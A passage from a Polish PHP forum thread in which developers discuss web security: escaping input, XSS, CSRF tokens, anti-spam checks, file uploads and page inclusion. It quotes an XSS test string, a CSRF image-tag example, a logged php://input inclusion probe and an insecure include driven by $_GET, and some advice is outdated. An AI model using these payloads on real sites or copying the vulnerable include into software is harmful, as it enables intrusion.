  20.                $strInput = http://www.php.net/preg_replace('/_REQUEST(=|[|%[0-9A-Z]{0,2})/','',$strInput);
  21.            }
  22. ?>


Śmiało, teraz mogą mi w gecie wsadzac co chcą, imo nie dadza rady.

Napisany przez: Crozin 19.06.2009, 15:33:22

A mnie zastanawia po jakie licho Ci preg_matche w tym.

Napisany przez: legalizetrawka 20.07.2009, 12:43:56

Co wy na to, żeby zamiast backslashowania dane wysyłane do MySQL zakodować w base64 i w takiej postaci je trzymać w bazie? A przy wyświetlaniu odkodować i np. usunąć tagi html?

Napisany przez: fifi209 20.07.2009, 12:46:27

Cytat(legalizetrawka @ 20.07.2009, 12:43:56 ) *
Co wy na to, żeby zamiast backslashować dane wysyłane do MySQL zakodować w base64 i w takiej postaci je trzymać w bazie? A przy wyświetlaniu odkodować i np. usunąć tagi html?


Tylko jaki ma to sens? smile.gif Po co kombinować ? Dasz backslashe i po sprawie. ;d

Napisany przez: Kocurro 20.07.2009, 12:50:59

Też kiedyś myślałem o użyciu base64 ... ale potem zrozumiałem, że lepiej zamieniać na kod binarny - czyli 0 i 1 ... a następnie dokładać dane kontrolne oraz naprawcze. Mój pomysł okazał się genialny w swojej prostocie ... tylko nie wiem czemu tak szybko baza się rozrastała .... hmm

Napisany przez: erix 20.07.2009, 12:53:31

Cytat
Co wy na to, żeby zamiast backslashowania dane wysyłane do MySQL zakodować w base64

ohmy.gif

Nie dość, że dane będą faktycznie zajmować więcej (133%), to jak chcesz po base64 szukać?

Napisany przez: nospor 20.07.2009, 12:54:57

Cytat
to jak chcesz po base64 szukać
erix, ale tu jest mowa o bezpieczenstwie a nie o szukaniu winksmiley.jpg

a juz tak bardziej powaznie:
@legalizetrawka poroniony pomysl. to co jest sprawdza sie doskonale i nie ma sensu tu czegokolwiek jeszcze przez base64 przepuszczac

Napisany przez: erix 20.07.2009, 12:58:21

~nospor, ale wady przeważają nad korzyściami.

edit@down: bannerowo-grafikowa ślepota tongue.gif

Napisany przez: nospor 20.07.2009, 12:59:31

@erix ale te mrugniecie oka zauwazyles na koncu mojego zdania? Znaczylo ono, iz moją odpowiedź nalezy potraktowac z przymruzeniem oka, taki zart.... tongue.gif
juz nie wspomne o tym zdaniu

Cytat
a juz tak bardziej powaznie:

Napisany przez: pyro 20.07.2009, 13:08:49

Po co ludzie kombinują na już ósme i dziesiąte sposoby, zamiast korzystać ze sprawdzonych i 100% dobrych sposobów tiredsmiley.gif

Napisany przez: fifi209 20.07.2009, 13:16:54

Cytat(pyro @ 20.07.2009, 13:08:49 ) *
Po co ludzie kombinują na już ósme i dziesiąte sposoby, zamiast korzystać ze sprawdzonych i 100% dobrych sposobów tiredsmiley.gif


Żebyśmy mieli o czym dyskutować. smile.gif

A tak poważnie, każdy programista marzył chyba o własnym zaawansowanym systemie zabezpieczeń, zrozumiałym pod kątem kodu i zabezpieczeń tylko dla niego, a użytkownik miałby tylko korzystać.

Wiele wizji, kiedyś chciałem zrobić system logowania w php, który opierałby się na kluczach etc. przechowywanych na pendrive - jednak wiedza jaką wtedy posiadałem pozwalała mi korzystać z zaawansowanych metod typu:
  1. <?php
  2. if ($_POST['haslo'] == 'test') {
  3. }else{
  4. }
  5. ?>

Napisany przez: andycole 16.08.2009, 12:23:34

a nie wystarczy calkowite strip_tags() (uzywamy bbcode) + mysql_real_escape_string() + filtracja danych ?

Napisany przez: erix 17.08.2009, 11:00:50

A może byś tak ten wątek od początku przeczytał...?

Napisany przez: maly_pirat 21.11.2009, 11:17:21

Cześć, a jak wygląda sprawa tablic (ARRAY)? Da się jakoś je wykraść z poziomu przeglądarki? - nie znam się na hakerstwie, i stąd moje pytanie. W tablicy trzymam np. ustawienia strony, połączenie do bazy (dane).

  1. $settings = http://www.php.net/array
  2. (
  3. 'db' => http://www.php.net/array
  4. (
  5. 'host' => 'localhost',
  6. 'user' => 'root',
  7. 'pwd' => 'krasnal'
  8. ),
  9.  
  10. );

Napisany przez: andycole 21.11.2009, 12:01:01

W podanym przez Ciebie przykladzie nie ma szansy na wykradniecie tego z poziomu przegladarki.
Jedynym sposobem dobrania sie do tablicy to wglad w kod zrodlowy.

BTW. Pliki z configiem, kodem zrodlowym php, mysql nie trzymaj w katalogu public_html tylko pietro wyzej, tak zeby z poziomu przegladarki nie miec do nich dostepu.

Napisany przez: xajart 21.11.2009, 13:57:41

Jak zabezpieczać sesje? A właściwie to chodzi mi o rozwiazanie z tokenami, prześledziłem cały ten wątek jak i wiele innych materiałów w sieci. Ale dalej męczą mnie pytania na które nie znam odpowiedzi. 

Rozumie że kiedy użytkownik się loguje do systemu i przejdzie przez cały proces weryfikacyjny, ma być generowany unikalny token.

Na 6 stronie jest przykłądowy skrypt jak taki token generować, przy pomocy output_add_rewrite_var taki token mogę przypisać do "wszystkich" (większośći linków) wewnątrz serwisu.

Pytania:

  1. Rozumie że dane z tokenem przechowywać w cookis i sesji?
  2. Id sesji regenrować co np 30 sekund (by uniknąc jej ustawienia - session_regenerate_id
  3. jak zabezpieczyć użytkownika by nie był wylogowywany z sesji jeżeli jest aktywny, oraz w drugą stronę by był wylogowany z sesji jeżeli jego nieaktywność przekracza np 30 minut. (przychodzi mi do głowy rozwiazanie w stylu, żę przy kazdej akcji w BD przy użytkowniku zmieniać czas ostatniej wizyty i na jej podstawie sprawdzać?)
  4. pytanie nie zwiazane z tokenami, w jaki sposób zabezpieczyć się przed logowaniem kilku użytkowników na to samo konto?
  5. jeżeli w sesji będę przechowywać tablicę z uprawnieniami użytkownika co do serwisu, to czy to jest bezpieczne (bo w wypowiedziach wyższych czytałem że nie, ale jak ktoś powiedził nie ma sensu za każdym razem sprawdzać uprawnienia użytkownika) wiec jak to najlepiej rozwiazać?
  6. co to jest tablica routingu? jak ją ewentualnie skonstruować w BD i jak jej używać - czytałem że jest to dobra forma zabezpieczenia, ale czy niebędzie to obciążać dodatkowo pracy serwisu, bo wkońcu poza bezpieczenstwem chodzi też o wydajność.
  7. I jeszcze jedna kwestia dotycząca życia sesji, a mianowicie jeżeli uztykownikowi zostaną zmienione uprawnienia, to jak zmusić tego użytkownika by został wylogowany z sesji (czyli by jego sesja się zresetowała) - w tym przypadku zapewne jakieś rozwiązanie z BD ? wyżej ktoś pisał o tym ale niewiele z tego zrozumiałem.
  8. i ostatnie pytanie czy istnieją jakiest automatyczne testery tzw. fuzzery - do sprawdzania skryptu, przed róznymi atakami, kiedyś szukałem i jakiś znalazłem ale głównie opierał się na sprawdzaniu ochrony przed SQL-Injector. A tych form ataków jest bardzo wiele.
Narazie tyle.


Napisany przez: erix 21.11.2009, 15:03:24

1: Hmm, na większość Twoich pytań najlepszą odpowiedzią byłoby nieco lektury na temat XSRF (jest w wiki).
2: robisz stronę dla banku? tongue.gif A teraz na serio - każdorazowe regenerowanie ID sesji jest nieco przesadne...
3: jeśli ustawisz długość sesji przez http://pl.php.net/session_set_cookie_params.
8: wiele razy słyszałem zdanie w stylu - chcesz projektować dobre zabezpieczenia? musisz zacząć myśleć, jak złodziej. Żaden automat nie zastąpi dobrego i doświadczonego audytora. Odpowiadając na pytanie - nie słyszałem o takich narzędziach.

Napisany przez: xajart 23.11.2009, 19:15:50

Co do punktu 5 to nie wpadłem na takie rozwiązanie jak przedstawiłeś - ale to jest dobry pomysł. Nie robie strony dla banku, tylko chciałem zakres swójej wiedzy trochę poszerzyć.

Napisany przez: AboutMe 15.12.2009, 13:14:00

Chciałbym w komentarzach dać możliwość userom wpisywania urli, czy filtrowanie wszystkiego poza literami, cyframi, slashem oraz kropkami i myślnikami jest bezpieczne?

Napisany przez: Tetris 3.03.2010, 19:49:21

Witam

Ostatnio rejestrowałem się na sfd.pl i tam zauważyłem dość ciekawy mechanizm (i prosty) mechanizm ochrony przed botami.
Otóż standardowo po rejestracji dostajemy na maila linka aktywacyjnego, ale ten zamiast na właściwą stronę, to przenosi nas na formularz gdzie musimy wpisać hasło, aby zakończyć rejestację. Hasło jest oczywiście w mailu z wcześniej wysłanym linku aktywacyjnym?

Zastanawiam się czy nie zastosować tego u siebie (obecnie mam tylko zwykłą walidację pól przy rejestracji + link na maila). Na pierwszy rzut oka mechanizm wydaje mi się odporny na boty, co o tym myślicie?

Pozdrawiam

Napisany przez: fifi209 3.03.2010, 19:56:16

Cytat(Tetris @ 3.03.2010, 19:49:21 ) *
Witam

Ostatnio rejestrowałem się na sfd.pl i tam zauważyłem dość ciekawy mechanizm (i prosty) mechanizm ochrony przed botami.
Otóż standardowo po rejestracji dostajemy na maila linka aktywacyjnego, ale ten zamiast na właściwą stronę, to przenosi nas na formularz gdzie musimy wpisać hasło, aby zakończyć rejestację. Hasło jest oczywiście w mailu z wcześniej wysłanym linku aktywacyjnym?

Zastanawiam się czy nie zastosować tego u siebie (obecnie mam tylko zwykłą walidację pól przy rejestracji + link na maila). Na pierwszy rzut oka mechanizm wydaje mi się odporny na boty, co o tym myślicie?

Pozdrawiam


Dla chcącego nic trudnego. Równie dobrze możesz dodać captchę - to jest trudniejsze do złamania przez laika.

Napisany przez: Tetris 3.03.2010, 20:00:45

Czyli lepiej dać to i to:)

Pozdrawiam

Napisany przez: Zyx 3.03.2010, 20:02:01

Sposób będzie odporny na boty, dopóki się nie upowszechni i ktoś nie napisze bota pozwalającego go obejść, co zresztą nie byłoby takie znowu trudne. Takie wynalazki mają szansę dłużej podziałać jedynie wtedy, gdy będą na tyle unikalne, a strona na tyle mała, że "grube ryby" po prostu nie zauważą, że spamowanie tam nie do końca działa, jak powinno. Coś takiego mam na swoim blogu - zabezpieczenie jest idiotycznie prosto obejść, lecz jest ono też tak bardzo powiązane z pomysłem tego bloga, że praktycznie jest nie do powielenia na innych stronach, a tym samym twórcom botów nie opłaca się specjalnie dla niego pisać odpowiedniego algorytmu.

Jeśli chcesz w miarę skuteczny sposób na przeciwdziałanie rejestrowaniu się spamerom, po prostu podłącz się do jakiejś bazy spamerów, np. http://www.stopforumspam.com/ - przy rejestracji możesz odpytać ją o to, czy dany użytkownik jest spamerem i jeśli tak, to dane konto oznaczasz jako "do ręcznego aktywowania przez administratora".

Napisany przez: fifi209 3.03.2010, 20:43:34

Cytat(Zyx @ 3.03.2010, 20:02:01 ) *
Sposób będzie odporny na boty, dopóki się nie upowszechni i ktoś nie napisze bota pozwalającego go obejść, co zresztą nie byłoby takie znowu trudne. Takie wynalazki mają szansę dłużej podziałać jedynie wtedy, gdy będą na tyle unikalne, a strona na tyle mała, że "grube ryby" po prostu nie zauważą, że spamowanie tam nie do końca działa, jak powinno. Coś takiego mam na swoim blogu - zabezpieczenie jest idiotycznie prosto obejść, lecz jest ono też tak bardzo powiązane z pomysłem tego bloga, że praktycznie jest nie do powielenia na innych stronach, a tym samym twórcom botów nie opłaca się specjalnie dla niego pisać odpowiedniego algorytmu.

Jeśli chcesz w miarę skuteczny sposób na przeciwdziałanie rejestrowaniu się spamerom, po prostu podłącz się do jakiejś bazy spamerów, np. http://www.stopforumspam.com/ - przy rejestracji możesz odpytać ją o to, czy dany użytkownik jest spamerem i jeśli tak, to dane konto oznaczasz jako "do ręcznego aktywowania przez administratora".


Fajny pomysł winksmiley.jpg

Wymodziłem coś takiego: (dla chcących spróbować tego rozwiązania)
  1. <?php
  2.  
  3. function isSpammer($name, $mail, $ip) {
  4. $mh = curl_multi_init();
  5.  
  6. $ch[] = curl_init();
  7. curl_setopt(http://www.php.net/end($ch), CURLOPT_URL, 'http://www.stopforumspam.com/api?username='.$name);
  8. curl_setopt(http://www.php.net/end($ch), CURLOPT_RETURNTRANSFER, true);
  9. curl_multi_add_handle($mh, http://www.php.net/end($ch));
  10. $ch[] = curl_init();
  11. curl_setopt(http://www.php.net/end($ch), CURLOPT_URL, 'http://www.stopforumspam.com/api?email='.$mail);
  12. curl_setopt(http://www.php.net/end($ch), CURLOPT_RETURNTRANSFER, true);
  13. curl_multi_add_handle($mh, http://www.php.net/end($ch));
  14. $ch[] = curl_init();
  15. curl_setopt(http://www.php.net/end($ch), CURLOPT_URL, 'http://www.stopforumspam.com/api?ip='.$ip);
  16. curl_setopt(http://www.php.net/end($ch), CURLOPT_RETURNTRANSFER, true);
  17. curl_multi_add_handle($mh, http://www.php.net/end($ch));
  18.  
  19. $response = http://www.php.net/array();
  20. $running = null;
  21.  
  22. do {
  23. curl_multi_exec($mh, $running);
  24. }while($running > 0);
  25.  
  26. foreach ($ch as $val) {
  27. $response[] = curl_multi_getcontent($val);
  28. curl_multi_remove_handle($mh, $val);
  29. }
  30.  
  31. curl_multi_close($mh);
  32.  
  33. $spammer = false;
  34.  
  35.  
  36. foreach ($response as $val) {
  37. if (http://www.php.net/preg_match('#<appears>yes</appears>#', $val)) {
  38. $spammer = true;
  39. break;
  40. }
  41. }
  42.  
  43. return $spammer;
  44. }
  45.  
  46. http://www.php.net/var_dump(isSpammer('Sanjana', 'sdfsdf@gmail.com', '127.0.0.1'));
  47. http://www.php.net/echo '<br/>';
  48. http://www.php.net/var_dump(isSpammer('Sanjanad', 'afghdfgh@gmail.com', '81.200.16.66'));
  49. http://www.php.net/echo '<br/>';
  50. http://www.php.net/var_dump(isSpammer('arturf209', 'mojmail@gmai.com', '127.0.0.1'));
  51.  
  52.  
  53. ?>

Napisany przez: Crozin 3.03.2010, 21:18:05

@fifi209: a to ta strona www.stopforumspam.com nie umożliwia pobrania bazy spamerów? Przeszukanie lokalnej bazy danych będzie bezporównania szybsze, niż wykonywanie rządań curlem. Do tego zautomatyzowany cotygodniowy update lokalnej bazy.

Napisany przez: fifi209 3.03.2010, 21:25:31

Cytat(Crozin @ 3.03.2010, 21:18:05 ) *
@fifi209: a to ta strona www.stopforumspam.com nie umożliwia pobrania bazy spamerów? Przeszukanie lokalnej bazy danych będzie bezporównania szybsze, niż wykonywanie rządań curlem. Do tego zautomatyzowany cotygodniowy update lokalnej bazy.


Umożliwia. smile.gif Ale skoro udostępniają webapi to dałem przykład jak z niego korzystać.

Napisany przez: Spawnm 24.05.2010, 20:34:05

Hey pytanie o bezpieczeństwo , co jest lepsze do zabezpieczenia się przed XSS :
htmlspecialchars($str, ENT_NOQUOTES, 'UTF-8') czy filter_var ( $val , FILTER_SANITIZE_SPECIAL_CHARS) ?

Napisany przez: thek 25.05.2010, 21:08:57

Ja uważam, że to drugie z ustawionymi flagami na stripowanie low (kody ASCII niższe niż 32) i high (kody ASCII powyżej 127). Ostatecznie zawsze można się zastanawiać nad sanitize_string. Zależy do czego konkretnie potrzebne. Ale to chyba sam wiesz z doświadczenia

Napisany przez: pyro 27.05.2010, 20:28:39

A według mnie ta pierwsza metoda. Jest czytelniejsza, szybsza i nie do ominięcia.

Napisany przez: zend 27.05.2010, 21:00:07

@pyro - mógł byś podać argumenty/źródła dzięki którym masz taką pewność?

Napisany przez: pyro 27.05.2010, 21:05:09

A który konkretnie argument masz na myśli?

Napisany przez: fifi209 27.05.2010, 21:07:01

Cytat(pyro @ 27.05.2010, 21:28:39 ) *
A według mnie ta pierwsza metoda. Jest czytelniejsza, szybsza i nie do ominięcia.

No raczej o tego posta chodzi ~zendowi

Napisany przez: pyro 27.05.2010, 21:15:38

Wiem, że o tego posta mu chodziło, ale pytałem o którą konkretnie rzecz mu chodzi:

- czytelniejsza (według mnie) - jest w przypadku dodatkowych flag dla filter_var. Programista często nie zna na pamięć wszystkich znaków ASCII, a htmlspecialchars() ma prostą i zrozumiałą budowę. Jednak jeżeli miałyby być one wywoływane dosłownie w ten sposób jak to napisał @Spawnm, to generalnie nie ma to różnicy
- szybsza - kiedyś zadałem sobie takie samo pytanie, więc potrudziłem się o testy. Różnica szybkości jest mało znacząca, ale jeśli już jesteśmy przy porównywaniu... smile.gif
- nie do ominięcia - a co? Zna ktoś jakoś metodę, aby ominąć to filtrowanie?

Napisany przez: Spawnm 27.05.2010, 21:19:21

Cytat(pyro @ 27.05.2010, 21:28:39 ) *
... i nie do ominięcia.

A jak drugą można obejść?

Napisany przez: pyro 27.05.2010, 21:23:01

Nie wiem czy się da (nie wiem czy ktoś już się potrudził o testowanie bezpieczeństwa tej funkcji), jednak wiem, że htmlspecialchars() na pewno się nie da.

Napisany przez: Spawnm 8.07.2010, 10:21:37

Hey chcę dać userowi możliwość wstawiania linków przez bbcode na stronie www , i teraz pytanie:
czy taki kod:

  1. //any string
  2. $str='http://sadf.pl onclick="alert(1)"';
  3. //filtr
  4. $str=http://www.php.net/str_replace(http://www.php.net/array('%20','+',' ','"','\''),'',$str);

w 100% zabezpieczy mnie przed xss ?

Napisany przez: wookieb 8.07.2010, 10:27:31

Usunięcie ciągu javascript oraz wywalenie " jest wystarczające (oczywiście z linku)

Napisany przez: Spawnm 8.07.2010, 10:30:37

A po co wywalenie ciągu javascript?
Link zawsze zaczyna się od http:// więc dodanie na końcu http://adsf.pl/java script:alert(1) nic nie da smile.gif

Napisany przez: wookieb 8.07.2010, 10:35:15

A to kurcze już nie pamiętam jak to było smile.gif To wtedy nie wystarczy samo usunięcie " albo zastąpienie go encja? Bo twoim zabezpieczeniem usuwasz możliwość podania niektórych prawidłowych linków (dlaczego usuwasz plus ?)

Napisany przez: Spawnm 8.07.2010, 10:41:52

Hmm , pośpieszyłem się z tym '%20' i '+' , wydawało mi się że jak spacja to %20 lub + w adresie to i w html uzna te znaki .

Napisany przez: bełdzio 8.07.2010, 18:20:40

o ile się nie mylę to niektóre przeglądarki też obsługują onclick=alert(1) tzn bez cudzysłowu, jeśli chodzi o doklejanie czegoś do url, to weź pod uwagę czy możesz wyświetlić treść usera w innym miejscu niż url + czy w serwisie nie masz jakiegoś skrytpu, którego zadaniem jest przekierowanie na inną stronę

Napisany przez: Crozin 8.07.2010, 19:50:20

Cytat
Hey chcę dać userowi możliwość wstawiania linków przez bbcode na stronie www , i teraz pytanie
Po prostu sprawdź czy podany tekst ma format URLa (ewentualnie możne mu brakować protokołu, wtedy dodaj HTTP) + zamień na encje to co zamienione być powinno (&, ", ') w przypadku używania w dokumencie HTML.

Napisany przez: Soulast 11.07.2010, 11:23:59

A jak najlepiej zapobiec zarejestrowanemu użytkownikowi na tworzenie kolejnych kont na stronie z innych ip oraz innych przeglądarek?
Pomyślałem o wrzuceniu usera IP do bazy lecz każdy wie że ono jest zmienne np u neostrady itd...

Czy zna ktoś może lepsze rozwiązanie?

Napisany przez: kilas88 11.07.2010, 11:33:10

Cytat(Soulast @ 11.07.2010, 12:23:59 ) *
A jak najlepiej zapobiec zarejestrowanemu użytkownikowi na tworzenie kolejnych kont na stronie z innych ip oraz innych przeglądarek?
Pomyślałem o wrzuceniu usera IP do bazy lecz każdy wie że ono jest zmienne np u neostrady itd...

Czy zna ktoś może lepsze rozwiązanie?

Nie da się. Najlepiej zrobić 1 konto = 1 mail. Możesz także wbudować sto różnych zabezpieczeń, które oczywiście da się obejść smile.gif

Napisany przez: bełdzio 11.07.2010, 13:03:26

mail też jest słabym pomysłem - jest pełno serwisów, które oferują tworzenie czasowych maili

Napisany przez: H4eX 11.07.2010, 13:18:59

Można zrobić listę dozwolonych maili.

Napisany przez: Soulast 12.07.2010, 09:56:06

No ale również to nie jest żaden problem poświęcić 5min aby stworzyć konto pocztowe np w wp.pl a nawet 10min na dwa takie konta itd.
A to wielka szkoda sprawdzanie nawet randomowego id poprzez cookies też można luźno ominąć poprzez wyczyszczenie ciasteczek:/

Pomyślałem również aby IP było sprawdzane jak i aktualizowane przy każdym logowaniu oraz wylogowaniu no i rejestracji.
Banalne rozwiązanie ale chyba lepszego nie znajdę a zawsze to jakiś tam sposób na chociaż drobne zabezpieczenie.

Chociaż sprawa się wymyka z pod kontroli jeśli to użytkownik znajduje się w sieci i pozostałe osoby w jego sieci już się nie zarejestrują z nowym kontem.

Napisany przez: andycole 13.07.2010, 13:35:18

Soulast,

http://forum.php.pl/index.php?showtopic=141712&hl=

Zapraszam do mojego topicu, jest troche wiecej na temat 1uzytkownik - 1konto, ale niestety idealnego rozwiazania chyba nie ma :/

Napisany przez: Spawnm 9.10.2010, 11:04:57

Hey,
mam pytanie jak najlepiej zabezpieczyć upload/server/download aby user mógł uploadować dowolne pliki nawet wirus.php , aby każdy mógł pobrać ale aby się nie mogły wykonać na servie ?

Napisany przez: Crozin 9.10.2010, 11:12:55

Servie? A zresztą nieważne.

Normalnie, wrzucasz je na serwer, pozostawiasz jedynie prawa do odczytu/zapisu dla użytkownika serwera HTTP, dla całej reszty zabraniasz wszystkiego. Pliki PHP to zwykłe pliki tekstowe - więc nie da się ich wykonać.

Napisany przez: bełdzio 9.10.2010, 18:09:26

Cytat(Spawnm @ 9.10.2010, 12:04:57 ) *
Hey,
mam pytanie jak najlepiej zabezpieczyć upload/server/download aby user mógł uploadować dowolne pliki nawet wirus.php , aby każdy mógł pobrać ale aby się nie mogły wykonać na servie ?

zerknij na http://www.beldzio.com/bezpieczny-upload-plikow

Napisany przez: Spawnm 9.10.2010, 18:36:52

Bełdzio czytałem kiedyś, tylko zastanawiam się czy nadawanie losowych nazw + regułka dla folderu z plikami :
order deny,allow
deny from all
zapewnią mi w 100% bezpieczeństwo że ktoś czegoś nie wykona.
Bo sprawdzenia mime nie będzie, user będzie mógł wsadzić co mu się podoba.

Napisany przez: andycole 9.10.2010, 18:50:22

Crozin dobrze pisze, zablokować wykonywanie plików.

Napisany przez: bełdzio 10.10.2010, 12:17:32

Cytat(Spawnm @ 9.10.2010, 19:36:52 ) *
Bełdzio czytałem kiedyś, tylko zastanawiam się czy nadawanie losowych nazw + regułka dla folderu z plikami :
order deny,allow
deny from all
zapewnią mi w 100% bezpieczeństwo że ktoś czegoś nie wykona.
Bo sprawdzenia mime nie będzie, user będzie mógł wsadzić co mu się podoba.

jak zablokujesz dostęp do folderu to raczej średnio będzie z możliwością dostęu / wykonania pliku, który się w nim znajduje smile.gif

Napisany przez: hind 12.10.2010, 08:31:52

regułka w mod_rewrite żeby wszystko przekierowywało na (np.) index.php a w nim readfile() (+ inne śmiecie do wyświetlania mime)

Napisany przez: bełdzio 12.10.2010, 10:24:13

tyle, że samym readfile też można sporo namieszać smile.gif tak więc też trzeba zrobić to z głową

Napisany przez: hind 12.10.2010, 11:20:07

Owszem, może ale wystarczy dodać sprawdzanie nazwy pliku/katalogu i po problemie. Lub też mieć nazwy plików w bazie a w tedy odwoływać się do plików poprzez id.
i najważniejsze, katalog z plikami nie dostępny z zewnątrz.

przy złej implementacji "najwyżej" ktoś pobierze spobie konfigurację do bazy danych i parę innych plików/danych smile.gif

Napisany przez: Spawnm 15.11.2010, 13:09:01

Hey,
co to za rodzaj ataku że komuś się dolepia do strony:
/strona.php?page=php://input
Z logów mi wynika że od pewnego czasu ktoś mnie ciągle tym częstuje ...

Napisany przez: hind 15.11.2010, 14:27:57

zobacz sobie raw post data, php://input zawiera niesparsowane dane przesłane na serwer poprzez post

Napisany przez: Spawnm 2.01.2011, 21:15:33

hey,
powiedzcie jak się zabezpieczacie przed atakami na usera typu [img=mojastrona.pl/ct/act?delete=id_czegos_danego_usera ?
Niby powinno wystarczyć danie w bootstrapie takiego kodu:

  1. if($_GET){
  2. //czy jest ref ?
  3. if(http://www.php.net/isset($_GET['delete']) && !http://www.php.net/isset($_SERVER['HTTP_REFERER'])){
  4. http://www.php.net/exit;
  5. }
  6.  
  7. //czy ref to nasza strona ?
  8. if(http://www.php.net/isset($_GET['delete'])){
  9. $host = http://www.php.net/parse_url($_SERVER['HTTP_REFERER']);
  10. $host = $host['host'];
  11. $local = $_SERVER['HTTP_HOST'];
  12. if($host !== $local ){
  13. http://www.php.net/exit;
  14. }
  15. }
  16. }

Ale czy to aby na 100% zapewni nam bezpieczeństwo?
Co jeszcze dajecie aby czuć się bezpieczniej?

Napisany przez: Crozin 2.01.2011, 21:17:39

A co jeśli wyłączę sobie wysyłanie nagłówka REFERER?

1. Akcje dodaj, usuń, edytuj, przenieś itp. powinny być wykonywane metodą POST.
2. Niezależnie od metody używaj jednorazowego, unikalnego tokenu.
3. http://en.wikipedia.org/wiki/Csrf.

Napisany przez: wookieb 2.01.2011, 21:18:44

1) Wysłanie postem
2) Wymagany dodatkowy losowy klucz w parametrze $_GET (generowany na stronie poprzedniej i np zapisywany w sesji)
3) Przy bardzo wrażliwych danych ponowne zalogowanie
4) To z refererem też jest niegłupie

Napisany przez: batman 2.01.2011, 21:22:49

1. Wysyłaj dane postem (słabe zabezpieczenie).
2. Operacje mogące spowodować jakiekolwiek szkody - weryfikacja przy pomocy tokena.
3. Operacje mogące spowodować duże szkody - wymaganie podania hasła.

Napisany przez: Chillout 25.01.2011, 00:57:39

A czy nie dałoby radę zabezpieczyć plików przed potencjalnym hax0rem w .htaccess? coś typu Disallow from all i dać sobie dostęp tylko do plików na IP które mogą zaszkodzić stronie tongue.gif w sumie zabezpieczaniu jestem na początkowym stanie, ale ostatnio sprawdzałem u kumpla czy może wbić w dany plik i wyskoczyło mu że nie ma dostępu :]. Fakt że hax0r będzie szukał głębiej, nie mniej jednak i tak to jest jakieś zabezpieczenie już.

Napisany przez: pyro 18.02.2011, 20:57:41

Cytat(Chillout @ 25.01.2011, 00:57:39 ) *
A czy nie dałoby radę zabezpieczyć plików przed potencjalnym hax0rem w .htaccess? coś typu Disallow from all i dać sobie dostęp tylko do plików na IP które mogą zaszkodzić stronie tongue.gif w sumie zabezpieczaniu jestem na początkowym stanie, ale ostatnio sprawdzałem u kumpla czy może wbić w dany plik i wyskoczyło mu że nie ma dostępu :]. Fakt że hax0r będzie szukał głębiej, nie mniej jednak i tak to jest jakieś zabezpieczenie już.


A nie lepiej się po prostu normalnie zabezpieczyć sprawdzonymi sposobami? Szczerze nie rozumiem po co ludzie tak kombinują.

(A tak nawiasem to o czym Ty piszesz jest zupełnie bez sensu na stronę www)

Napisany przez: ZuyPan 26.07.2011, 11:26:47

Tak sobie czytam i czytam ten temat i doszedłem to następujących wniosków:

* Jeśli już robić wczytywanie podstron za pomocą include to owe podstrony muszą być w osobnym katalogu:

  1. if(http://www.php.net/is_file('/katalog/'.$_GET[strona].'.php')){
  2. include ('/katalog/'.$_GET[strona].'.php');
  3. }


* Zawsze filtruje się wszystkie tablice $_GET, $_POST, $_SESSION, $_COOKIE

* Jeśli coś ma być int to dajemy
if(is_int($_GET['liczba'])){
$liczba = $_GET['liczba'];
}

* Jeśli coś jest tekstem to robimy:
$tekst = mysql_real_escape_string($_POST['tekst'];

* Sprawdzamy długość wpisanych danych

* jeśli coś ma być emailem to sprawdzamy poprawność tego co zostało wpisane.

Czy tych kilka zabezpieczeń jest skutecznych? Może ja coś źle rozumiem. I takie pytanie: jeśli tekst filtruje mysql_real_escape_string to nie muszę używać addslashes, htmlspecialchars itd? Ta funkcja chyba mnie odpowiednio zabezpiecza?

Napisany przez: erix 27.07.2011, 08:39:13

A może by tak przeczytać CAŁY temat i nie siać herezji, zwłaszcza z bezpośrednim wstawianiem wartości z tablicy $_GET?

Napisany przez: ZuyPan 27.07.2011, 09:01:32

Przeczytałem cały temat, ale uwierz mi - te wasze małe "sprzeczki" gdzie ktoś mówi, że bredzicie a potem Wy staracie się udowodnić coś manualem... Z tego tematu stał się śmietnik a nie poradnik. Ktoś taki jak ja wchodzi, czyta i ma jeszcze większy mętlik bo ktoś powiedział o czymś tak a jeszcze inny inaczej. Tylko któraś z tych opinii jest słuszna a któraś błędna. To może warto by było zostawić tylko te słuszne? Temat zmniejszył by się o co najmniej kilka stron. Tylko komu by się chciało....

Napisany przez: pyro 8.08.2011, 14:14:49

Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
Tak sobie czytam i czytam ten temat i doszedłem to następujących wniosków:

* Jeśli już robić wczytywanie podstron za pomocą include to owe podstrony muszą być w osobnym katalogu:
  1. if(http://www.php.net/is_file('/katalog/'.$_GET[strona].'.php')){
  2. include ('/katalog/'.$_GET[strona].'.php');
  3. }


Jeśli chcesz, żeby ktoś włamał Ci się na stronę to tak.

Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
* Zawsze filtruje się wszystkie tablice $_GET, $_POST, $_SESSION, $_COOKIE


Nie. Nie zawsze. Według potrzeb.

Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
* Jeśli coś ma być int to dajemy
if(is_int($_GET['liczba'])){
$liczba = $_GET['liczba'];
}


Lub po prostu:
  1. $liczba = (int)$_GET['liczba'];


Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
* Jeśli coś jest tekstem to robimy:
$tekst = mysql_real_escape_string($_POST['tekst'];


Też w zależności od sytuacji.

Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
* Sprawdzamy długość wpisanych danych


To nie jest warunek, ale dobrze to robić.

Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
* jeśli coś ma być emailem to sprawdzamy poprawność tego co zostało wpisane.


Jak prawie wszędzie...

Cytat(ZuyPan @ 26.07.2011, 12:26:47 ) *
I takie pytanie: jeśli tekst filtruje mysql_real_escape_string to nie muszę używać addslashes, htmlspecialchars itd?


A może przeczytaj co robi ta i pozostałe wymienione funkcje...

Napisany przez: evilpr0 9.10.2011, 23:26:41

A ja mam takie pytanko, co z takim kodem?

  1. if($_GET['akcja'] == "uzytkownicy") {
  2. include('uzytkownicy.php');
  3. }


Czy taki kod również jest niebezpieczny?

Napisany przez: foxmark 10.10.2011, 10:43:01

Cytat(Speedy @ 5.05.2005, 17:06:27 ) *
To ja dodam od siebie jeszcze, że niektóre osoby pisząc aplikacje internetowe, stosują coś takiego jak przechowywanie poufnych danych o userze (po zalogowaniu) w pliku cookie. Taki potencjalny H4X0R może sobie potem swobodnie przeglądać zawartość tych plików i dowolnie je modyfikować. Najgorzej jest wtedy, gdy w takim pliku przechowywana jest wartość zmiennej odpowiedzialna np. za uprawnienia administratora... Wtedy wystarczy ją odpowiednio podmienić i śmiga wink.gif .
